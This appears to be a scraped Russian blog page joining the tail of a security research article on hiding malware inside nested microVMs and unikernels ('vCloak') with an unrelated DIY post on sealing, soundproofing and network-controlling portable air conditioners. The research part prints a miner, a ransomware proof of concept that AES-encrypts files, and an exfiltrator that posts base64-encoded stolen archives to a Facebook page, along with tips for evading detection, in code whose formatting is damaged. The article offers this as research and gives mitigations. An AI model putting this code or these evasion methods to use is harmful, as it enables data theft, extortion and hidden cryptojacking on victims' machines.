attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontabdef main(options):# Проверяем, установлен ли firecracker is installeddirname = os.path.dirname(os.path.abspath(__file__))firecracker_path = find_firecracker(dirname, options.arch)# Firecracker установлен, так что начнемprint_time(Start)socket_path = '/tmp/firecracker.socket'if options.api:firecracker = start_firecracker(firecracker_path, socket_path)# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машиныkernel_path = options.kernelif not kernel_path:kernel_path = os.path.join(dirname, '../build/release/kernel.elf')qemu_disk_path = options.imageif not qemu_disk_path:qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')raw_disk_path = disk_path(qemu_disk_path)cmdline = options.executeif not cmdline:with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:cmdline = f.read()if options.arch == 'aarch64':cmdline = console=tty --disable_rofs_cache %s % cmdlineelse:cmdline = --nopci %s % cmdlineclient.configure_machine(options.vcpus, memory_in_mb)print_time(Configured VM)client.add_disk(raw_disk_path)print_time(Added disk)if options.networking:client.add_network_interface('eth0', 'fc_tap0')client.create_instance(kernel_path, cmdline)print_time(Created OSv VM with cmdline: %s % cmdline)if not options.api:if options.verbose:print(client.firecracker_config_json())firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())else:client.start_instance()print_time(Booted OSv VM)attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontabattacker@vcloak1:~$ sudo apt update

Листинг 3: vcloak2.py выполняет три контейнера VT-x

Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения OSv. OSv это свободное универсальное модульное ядро вида unikernel, рассчитанное на безопасную поддержку единичногонемодифицированного приложения Linux в виде microVM поверх гипервизора, в результате чего получается минимальное ядро, совместимое с Linux на уровне двоичного кода.Такие решения как OSv это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.

Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:

attacker@vcloak1:~$ sudo apt updateattacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-devattacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repositoryattacker@vcloak1:~$ cd osvattacker@vcloak1:~/osv$ git submodule update --init recursive # install # install examples and other dependenciesattacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world apptotal 40-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifestattacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code#includeint main(){printf(Hello from C code\n);return 0;}attacker@vcloak1:~/osv$ ./scripts/build image=native-example #lets wrap out app with OSv unikernelattacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv buildOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /helloHello from C code

Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой

Аналогично, можно собрать приложение OSv и на Python:

In a very similar way we can build an OSv app with python:attacker@vcloak1:~/osv$ ./scripts/build image=python2xattacker@vcloak1:~/osv$ ./scripts/run.pyOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /pythonPython 2.7.18 (default, Aug 4 2020, 11:16:42)[GCC 9.3.0] on linux2Type help, copyright, credits or license for more information.>>>


Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки

Как было кратко продемонстрировано выше, OSv это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице OSv в GitHub. На данном этапе все, что нам остается доделать написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.


Рисунок 6: Вложенная виртуализация порой бывает немного запутанной

Вложенная виртуализация


Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.

Такое зачаточное состояние достижимо благодаря вложенной виртуализации возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин уровень камуфляжа, поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 это виртуальная машина, исполняемая с физического хоста; L2 это виртуальная машина, выполняемая с гостевой машины L1).

Создание майнера


В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем опенсорсный майнер, разработанный subhan-nadeem:

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматическиimport hashlibdef get_sha_256_hash(input_value):return hashlib.sha256(input_value).hexdigest()def block_hash_less_than_target(block_hash, given_target):return int(block_hash, 16) < int(given_target, 16)# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)blockData = \'01000000000000000000000000000000000000000000000000000000000000000000000' \'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \.encode()# Исходная цель  так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойнаtarget = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'solution_found = Falseblock_data_hexadecimal_value = int(blockData, 16)nonce = 0while not solution_found:block_data_with_nonce = block_data_hexadecimal_value + nonce# Найти двойной хешfirst_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())second_hash = get_sha_256_hash(first_hash.encode())print('Nonce: ' + str(nonce))print('Block hash:')print(second_hash)print('Is the block hash less than the target?')solution_found = block_hash_less_than_target(second_hash, target)print(solution_found)if not solution_found:nonce += 1


Листинг 6: Фрагменты кода из майнера

Создаем код вымогателя

Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим PoC-версию вымогателя под авторством guihermej:

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически# Открыть файлfile_name = foto.jpgfile = open(file_name, rb)file_data = file.read()file.close()# Удалить файл#os.remove(file_name)# Зашифровать данные файла (при помощи AES)key = 0123456789abcdef # 16-байтный ключ  замена для вашего ключаaes = pyaes.AESModeOfOperationCTR(key)crypto_data = aes.encrypt(file_data)# Сохранить файлnew_file_name = file_name + .pyransom # Путь, чтобы сбросить файлnew_file = open(new_file_name, 'wb')new_file.write(crypto_data)new_file.close()


Листинг 7: Фрагменты кода из вымогателя

Создание извлекателя


Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое свободное закрепление SSL-сертификата. Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с GitHub от zone13.

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматическиimport facebook, time, base64, textwrapdef main():cfg = {# Заполняем идентификатор страницы и обращаемся к токену, приведенному нижеpage_id : ,access_token : }api = get_api(cfg)# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64msg = file_read_into_array()# Вычисляем, сколько постов нужно сделатьchunks = (len(msg) / float(50000))if isinstance(chunks, float) or (a == 0):chunks = int(chunks) + 1# Дробим данные base-64 на фрагменты по 50 000 символов каждыйfile_array = textwrap.wrap(msg, 50000)# Публикуем данные на странице Facebookfor i in range(chunks):status = api.put_wall_post(Part#### + str(i) +   + file_array[i])time.sleep(0.5)# Функция для чтения zip-файла и кодировки base-64def file_read_into_array():with open(secret.zip, rb) as f:a = f.read()encoded_data = base64.encodestring(a)return encoded_data# Основная функция для публикации данных на Facebookdef get_api(cfg):graph = facebook.GraphAPI(cfg['access_token'])resp = graph.get_object('me/accounts')page_access_token = Nonefor page in resp['data']:if page['id'] == cfg['page_id']:page_access_token = page['access_token']graph = facebook.GraphAPI(page_access_token)return graphif __name__ == __main__:main()

Листинг 8: Фрагменты кода Извлекателя

Повторение и анализ


Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.

Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).


Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации

Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.

Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.

Дальнейшие исследования и оптимизация



Рисунок 8: Таблица для самопроверки

В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание укреплению нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).

  • Извлекатель для совместно используемой памяти можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
  • Извлекатель для совместно используемой сети в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
  • Вредоносы для промышленного использования мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
  • Среда времени исполнения как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
  • Гипервизор пользовательского пространства На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
  • Гипервизор пространства ядра может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
  • Укрепление Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
  • Расширенная область атаки на хост такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.

Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для повышения эффективности камуфляжа. Гонка между злоумышленниками и охранителями сетей бескомпромиссная и непрестанная. Надеемся, что информация, изложенная в этой статье, немного поможет читателям войти в тему.

Инструменты


Занимаясь исследованием виртуализации, я создал несколько инструментов, которые помогли мне в этих изысканиях:


Устранение угрозы


Вселенная виртуальных машин и операционных систем стремительно расширяется, новые программные и аппаратные возможности появляются одновременно. Исследование этих новых возможностей с точки зрения развертывания вредоносного ПО может помочь командам, занимающимся обеспечением информационной безопасности

Устранять некоторые вредоносные варианты поведения, замаскированные при помощи виртуализации, весьма сложно, поскольку в виртуализованном пространстве ничего не видно. Есть некоторые способы подсвечивать эти слепые пятна, но в настоящее время отсутствует стандартное или нативное решение такого рода. Правда, если исследовать всю цепь атаки, то можно обнаружить некоторые очень эффективные контрмеры, позволяющие противодействовать злонамеренной виртуализации.

Что можно сделать/доступные ресурсы:


Частично доступно или недоступно:

  • Видимость внутри состояния виртуальной машины
  • Создание монитора виртуальной машины
  • Выявление аномалий при потреблении ресурсов хоста виртуальной машиной

Заключение


Виртуализация это круто! На основании абстрагирования, обеспечиваемого при помощи виртуализации, построены многие инновационные вещи, в частности, облака, машины конечных точек и даже новейшие автомобили. Виртуализация усиливает производительность и безопасность вообще, но у нее есть и темная сторона. Как показали недавние реальные атаки, и как рассмотрено в этой статье, злоумышленник может обратить себе на пользу многие из возможностей виртуализации. Использование новейших технологий, в частности, VT-x и минималистичных песочниц, позволяет сделать виртуализацию еще более малозаметной.

Назначение vCloak послужить практичным введением в проблему того, как виртуализация может использоваться для незаметного внедрения вредоносного ПО, чтобы пользователи были осведомлены в угрозах такого рода и могли от них защититься.

Также в статье упомянуты некоторые методы устранения таких угроз, доступные сегодня, плюс решения, планируемые в будущем. Важная возможность, которую следовало бы реализовать, чтобы защита от вредоносной виртуализации стала более подъемной задачей повысить прозрачность процессов, творящихся в виртуальной машине, а также позаботиться об эффективной нейтрализации угроз. Индустрия киберзащиты развивается и идет в ногу с современными решениями для виртуализации, но сейчас самое время остерегаться подобных угроз и заблаговременно выстраивать защиту от них.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Перевод Хакаем переносные кондиционеры воздуха

27.05.2021 12:14:32 | Автор: admin
image

В апреле 2020 года я приобрёл пару напольных кондиционеров воздуха EdgeStar AP14001HS, потому что думал, что проведу бОльшую часть лета в помещении. У себя дома я не могу установить оконные кондиционеры, хотя по эффективности они были бы очевидным выбором, ведь все нагревающиеся части остаются снаружи.

Похожие модели


Судя по фотографиям из Интернета, похожей конструкцией обладают следующие кондиционеры:

  • EdgeStar AP14001HS
  • Whynter ARC-14S
  • Whynter ARC-14SH
  • Whynter ARC-141BG
  • Whynter ARC-143MX

Не могу сказать, насколько они одинаковы, но содержание этой статьи, возможно, применимо и к ним.

Воздушные зазоры


Я хотел купить кондиционер воздуха с двойным воздуховодом, потом что модели с одним воздуховодом термодинамически неоптимальны. Выдувание горячего воздуха из окна создаёт в комнате отрицательное давление, из-за чего воздух снаружи всасывается обратно через различные трещины. Теоретически, модели с двумя воздуховодами устраняют эту проблему, охлаждая конденсатор наружным воздухом, который затем снова выпускается.

Однако при проверке входного и выходного воздуховодов AP14001HS выяснилось, что объём проходящего через входной воздуховод воздуха значительно меньше, то есть воздух, должно быть, попадает в камеру конденсатора из комнаты, а также перемещается между комнатой и улицей, пока отключен вентилятор. Есть два основных места, где это происходит:

1. В месте соединения нижней части корпуса с передней:

bottom gap

Я заклеил его малярной лентой:

bottom gap taped

2. Сзади, под воздушным фильтром:

filter gap

Чтобы закрыть это отверстие, я вырезал из листового ABS-пластика толщиной 1/16" (1,5 мм) прямоугольник 436 мм x 98 мм. В качестве прототипа подойдёт картонная коробка от овсяных хлопьев. В целом, материал должен быть довольно тонким, но при этом достаточно жёстким, чтобы сохранять плоскую форму.

При работе компрессора пластик притягивается к задней части, а в противном случае к передней, поэтому удерживать его на месте позволит кусок скотча или малярной ленты.

Наконец, если вы решите вскрыть прибор (в этом пригодится 12-дюймовая крестообразная отвёртка под M3,5-M5), можно будет закрыть лентой внутренние зазоры воздуховодов/проводов, но я не знаю, насколько они важны.

А не сгорит?


Такие модификации предназначены для повышения температуры отсека конденсатора, что может снизить срок работы некоторых компонентов, но я понятия не имею, каких именно и насколько. По крайней, мере у меня есть пара доказательств того,, что это не такая уж плохая идея:

1. Я спросил в техподдержке EdgeStar о герметизации нижнего зазора:



[Я]

Недавно я приобрёл пару кондиционеров EdgeStar AP14001HS с двойным воздуховодом и заметил, что входной воздуховод всасывает чуть больше воздуха, чем выдувает выходной. Похоже, остальной воздух проникает в отсек конденсатора в месте соединения нижней и передней частей устройства. См. приложенное фото, на котором я временно закрыл зазор малярной лентой. Можете ли вы сказать мне, есть ли у этого зазора какая-нибудь необходимая функция? В противном случае я лучше оставлю его закрытым, потому что я выбрал модель с двойным воздуховодом, чтобы изолировать друг от друга внутренний и наружный воздух.

[Сотрудник EdgeStar]

Здравствуйте, Пол,

Благодарим за обращение в техподдержку EdgeStar.

Заклеенная вами область используется для сброса излишнего воздуха.
Однако можно заклеить эту область, потому что это не вызовет никаких проблем. Инженеры проинформировали меня, что так делать можно.

[Я]

Спасибо. Я подозревал, что этот зазор используется для того, чтобы устройство не заполнялось водой, хоть он и выглядит больше, чем это необходимо.

В спецификациях AP14001HS говорится:

  • Охлаждающая способность (ASHRAE) 14000 BTU (4,1 кВт*ч)
  • Охлаждающая способность (SACC) 8600 BTU (2,5 кВт*ч) (на 38% меньше)

Согласно этой статье, инфильтрующийся воздух является основным фактором в измерениях SACC:
https://support.edgestar.com/hc/en-us/articles/115005480926-What-is-SACC-Seasonally-Adjusted-Cooling-Capacity

Измеряли ли ваши инженеры влияние герметизации этого зазора (и других утечек всасывания) на КПД охлаждения?

[Сотрудник EdgeStar]

Здравствуйте, Пол,

Благодарю за Ваш ответ.

Мне не удалось получить от инженеров информации о влиянии герметизации зазора на КПД. Они сообщили, что при тестировании устройств для получения рейтинга SACC тестирование происходит с открытым зазором. При тестировании в конструкцию устройств не вносится никаких модификаций. КПД устройств вычисляется при открытом воздушном зазоре.

Похоже, на производстве не выполнялось тестирование с закрытым зазором, но разрабатывающие эти устройства инженеры выполнили собственные тесты и выяснили, что закрытие зазора не вызовет никаких проблем. Однако они не смогли предоставить мне информацию о SACC, потому что мы не можем протестировать его на месте.



2. Пользователь с форума растениеводов сообщил о возможности герметизации Whynter ARC-143MX, достаточной для поддержания атмосферы с высокой концентрацией CO2. Из текста непонятно, как долго он работал, но тема была открыта 4 года назад, а её автор ничего не писал об отказах оборудования.

Поэтому нельзя сказать, что опасности повреждения прибора нет, но, по крайней мере, кто-то уже пробовал так делать.

После изолирования этих зазоров я почувствовал,, что через входной воздуховод поступает больше воздуха, а при его кратковременном перекрытии из выходного начинает поступать меньше воздуха.

Отойдите, я займусь наукой


Чтобы протестировать эти модификации, я установил кондиционер в довольно изолированном стенном шкафу объёмом 1,5 м. Изначально температура была примерно равна 72F (22C), установив кондиционер на 61F (16C) (минимальное значение), я включил его и подождал примерно 3 минуты, пока не отключился вентилятор.

Опыт был повторён три раза в заводской конфигурации (красные линии), три раза с закрытыми зазорами (синие линии), и, наконец, два раза в режиме одиночного воздуховода (чёрные линии) при котором всасывание выполнялось напрямую из пространства шкафа. Я фиксировал температуру направленным на термометр телефоном, на котором была запущена фотосъёмка приложением Open Camera с повтором раз в 10 секунд:


Не думаю, что подобная схема достаточно надёжна для вычисления абсолютных показателей КПД, но очевидно, что конфигурация с закрытыми зазорами лучше охлаждает, а режим одиночного воздуховода просто ужасен.

Нытьё


Я считаю постыдным, что производители напольных кондиционеров настолько беззаботно относятся к КПД, повысить который можно при помощи простейших хозяйственных товаров. Это напоминает мне компьютерную индустрию по производству блоков питания до введения 80 Plus, когда все устройства были отстойными и никто не знал, что покупать. Почему все инновации сосредоточены в конструкциях кондиционеров с одиночным воздуховодом?

В местах наподобие области залива Сан-Франциско полно квартир и комнат, которые с повышением температуры постепенно становятся непригодными к жизни, поэтому было бы здорово, если бы люди могли просто купить достойный продукт.

Вероятно, своё дело знает http://www.climax-air.com/, потому что эта компания производит (по крайней мере, в 2020 году) единственный напольный кондиционер с двойным воздуховодом и компрессором переменной скорости. Но я узнал это только на веб-сайте, потому что их продукты очень дефицитны. Возможно, я снова обращу на них внимание, когда EdgeStar выйдут из строя.

Фотографии установки в шкафу


(Второй AP14001HS, который видно в зеркале, использовался для установки комнатной температуры.)

closet experiment 1

closet experiment 2

Информация о помещении


Каждый прибор потребляет около 10,5 А, поэтому важно определить, какие автоматы защиты подключены к каким розеткам, чтобы не подключать прибор к цепи с другими устройствами с высоким потреблением тока, например, с микроволновкой или электрическим чайником. В идеале они также должны находиться на противоположных концах от главного автомата. Пока у меня не было проблем при подключении прибора к цепи на 15 А вместе с холодильником или компьютером.

В день, когда максимальная температура достигает 95F (35C), два постоянно включенных кондиционера могут поддерживать в помещении площадью 850 кв. футов (78 кв. метров) примерно 75F (24C). Судя по данным моего инфракрасного термометра, потолок гораздо теплее стен, поэтому стоит, пожалуй, улучшить изоляцию чердака.

Я планирую включать их зимой на режим обогрева, при этом они будут потреблять меньше энергии, чем резистивные плинтусные обогреватели, но время покажет, насколько это верно.

Изъян такой схемы заключается в том, что мои окна заблокированы/заклеены лентой, поэтому я не могу открывать их по вечерам, когда воздух на улице прохладней. Было бы здорово иметь на такой случай автоматический режим вентилирования. Однако охлаждаемый прохладным воздухом кондиционер выдувает ещё более прохладный воздух, поэтому ему не нужно долго работать в таком состоянии.

Более простые хаки


Этот прибор выдувает воздух внутри помещения в основном наверх. Я вскрыл корпус и снял встроенный отражатель, заменив его на Frost King HD9. Он создаёт примерно горизонтальный поток воздуха, а прибор кажется чуть более тихим из-за отсутствия этих лишних пластин.

(Обратите внимание на фото: я заклеил светодиоды, чтобы уменьшить их яркость, а кусок пены остался от заброшенного эксперимента по звукоизоляции с использованием полуперманентного клея.)

deflector

Эти воздуховоды можно изолировать с помощью 6-дюймового хлопчатобумажного рукава для труб. Спустя 5 минут работы с двумя слоями хлопчатобумажной ткани я получил 122F (50C) на воздуховоде и 102F (38C) на поверхности ткани. Это не самый лучший материал для изоляции, но он дёшев, прост в использовании и вполне подходит.

stockinette

Можно вскрыть стандартный воздушный фильтр обогревателя и вырезать зигзагообразную часть под форму пластмассовой рамы входного воздуховода. Стоит заметить, что это ограничит воздушный поток, поэтому логично будет увеличить скорость вентилятора. После съёмки этого фото я немного повысил плотность:

air filter

Звукоизоляция


Чтобы устройство работало тише, я для начала обернул его одеялом, закреплённым клейкой лентой. Воздуховоды не позволяют ничему перекрывать забор комнатного воздуха. Вот мой прототип кондиционерного буррито:

burrito prototype

После нескольких часов работы устройства при уличной температуре 90F (32C) самая горячая часть под одеялом имела температуру около 94F (34C), поэтому похоже, что устройство вполне справляется со своим охлаждением.



Для создания усовершенствованной версии я использовал нагруженный винил (mass loaded vinyl, MLV), обёрнутый в хлопчатобумажное одеяло с застёжками-липучками, прикреплёнными при помощи скоб степлера.

Вот приблизительная стоимость материалов для двух приборов:

  • Рулон MLV плотностью 1 фунт/кв. фут размером 4 фута x 12,5 фута: 110 долларов
  • Два двухспальных хлопчатобумажных одеяла (66 x 90 дюймов): 50 долларов
  • Несколько ярдов 2-дюймовой липучки: 10 долларов
  • Скобы с высотой ножек 9/16 дюйма (Bostitch BTHT73533): 4 доллара

Я использовал следующие размеры:


Я отрезал MLV под размер с помощью рулетки, угольника, карандаша и ножниц. Отрезав нижние углы, мы оставляем место для шнура питания. Стороны имеют разную длину, потому что шнур питания смещён от центра.

Сверху и сбоку закреплены застёжки-липучки (соответствующие им застёжки приклеены к кондиционеру клеевым пистолетом), чтобы буррито мог скрепляться своими краями.

Фотографии буррито с MLV:

MLV after cutting

MLV wrapped with cotton

MLV velcro close-up

Velcro glued to A/C

MLV rear velcro

MLV burrito complete

В конечном итоге, MLV действительно снизил шум компрессора, но шум вентилятора по-прежнему довольно сильный. Не знаю, насколько хлопчатобумажная обёртка помогает снизить отражённый звук, но, по крайней мере, так прибор выглядит красивее, чем с голым винилом.

Довольно много времени я потратил на крепление и сгибание сотен скоб. Думаю, что стоит порекомендовать разумному человеку остановиться на моём первоначальном решении со сложенным одеялом и клейкой лентой, потому что на него требуется всего несколько минут, а MLV не настолько уж лучше.

Управление по сети


Я подключил микроконтроллер ESP32 к выводам ступени 1 реле компрессора (Y1) и клапана переключения теплонасоса (O) термостата Nest, выход auxiliary heat которого управляет реле плинтусных обогревателей. (Я проверил, что Nest может включать всё по отдельности, но время покажет, сможет ли он справляться зимой с двумя способами обогрева.)

Каждый релейный выход на 24VAC запитывает входные контакты оптопары SFH620AGB через резистор на 10K (24 В/10 кОм подадут на светодиоды оптопары несколько мА). Оптопара совместима с GPIO в режиме INPUT_PULLUP и использует ПО для очистки сигнала. Я позаимствовал эту идею из поста на StackExchange, хотя 24VAC пугают меньше, чем 120-240VAC.

Со стороны кондиционера я управляю стандартным инфракрасным светодиодом через резистор на 150 Ом при помощи функции sendRaw() из IRremoteESP8266.

Я разрезал шариковую ручку пополам, покрасил её в чёрный цвет и закрепил над светодиодами индикации режима, а фотодиод INL-3APD80 будет определять изменения яркости при циклическом переключении режимов. Похоже, фотодиод лучше работает в фотовольтаическом режиме с анодом, подключённым ко входу ADC, и катодом, подключенным к GND. Я выполняю считывание каждые 50 мкс, и усредняю значения на 1000 мс (20000 выборок) для получения чистого сигнала. При добавлении конденсатора параллельно с фотодиодом снижается время стабилизации; похоже, 10 нФ является хорошим балансом между шумом и временем реакции, снижая время считывания до 100-200 мс.

Смысл подключения напольного кондиционера воздуха к Nest заключается в следующем:

  • Обычные умные функции, которые предоставляет Nest
  • Более долгий цикл компрессора из-за физического разделения термостата и кондиционера
  • Когда нагрев/охлаждение не требуются, питание вентиляторов кондиционера можно выключить, чтобы понизить шум и сэкономить 60-70 Вт

Я перехватываю коды пульта при помощи mode2 пакета LIRC, передающего время пометок/пробелов в микросекундах, что совместимо с упомянутой выше функцией sendRaw().

Выполнен реверс-инжиниринг IR-протокола: все пометки имеют одинаковую длину, а данные кодируются в пробелах. Похоже, они имеют объём 32 бита на пакет, выстроенные в виде [id, ~id, code, ~code]. Я попробовал передавать все 256 кодов, пытаясь найти незадокументированные функции наподобие установить мощность на X или установить режим X, но увы, все они были дубликатами стандартных 6 кнопок, поэтому знать протокол практически не обязательно.

Вот упрощённые IR-коды в формате JSON irrp.py (изначально я экспериментировал с pigpio на Raspberry Pi.)

Этот алгоритм позволяет ESP32 определять состояние кондиционера при запуске вслепую:

  • Сэмплируем яркость фотодиода
  • Отправляем POWER
  • Если яркость увеличилась, значит, мы что-то включили, поэтому снова передаём POWER
  • Теперь мы знаем, что устройство выключено
  • Отправляем 4 раза MODE, считывая яркость после каждой передачи
  • Помечаем самый яркий режим как COOL (потому что этот светодиод ближе всего к фотодиоду)
  • Помечаем все остальные режимы по их порядку относительно COOL

Можно синхронизировать скорость вентилятора, запустив на короткое время DEHUMIDIFY (этот режим заставляет вентилятор переключиться в режим LOW), но я решил не делать этого и просто позволить пользователю выбирать скорость вентилятора.

Я столкнулся со следующими багами, свойственными AP14001HS:

  • Невозможно надёжным образом переключать режимы, пока питание включено, потому что, например, при переключении в порядке COOL->DEHUMIDIFY->FAN иногда включается средний режим (DEHUMIDFY), даже если подавать IR-сигнал максимально быстро. Поэтому мне пришлось переключать компрессор в режим простоя, передавая TEMP UP, а не переключаться на FAN.
  • Если изначально питание выключено (OFF), то при отправке MODE-MODE-POWER устройство иногда запускается в неверном режиме, или производит странные действия, например, запускает компрессор без вытяжного вентилятора. Для решения этой проблемы нужно подождать 1000 мс между последним MODE и POWER.
  • Цикличное переключение между режимами при отключенном питании портит сохранённую температуру, занижая её на 0-2 градуса. Такое происходит только в режиме градусов Фаренгейта, поэтому я подозреваю, что где-то выполняется преобразование F->C->F с потерями.
  • Пропадание питания при работающем кондиционере приводит к перезапуску в режиме градусов Фаренгейта, а через IR-команды невозможно переключиться на режим градусов Цельсия; это сильно раздражает.
  • При отправке IR-команд одна за другой нужно оставлять паузу не менее 1200 мкс, чтобы события не терялись. Но теперь мне не кажется, что это на самом деле баг, потому что это похоже на отправку бита 1.

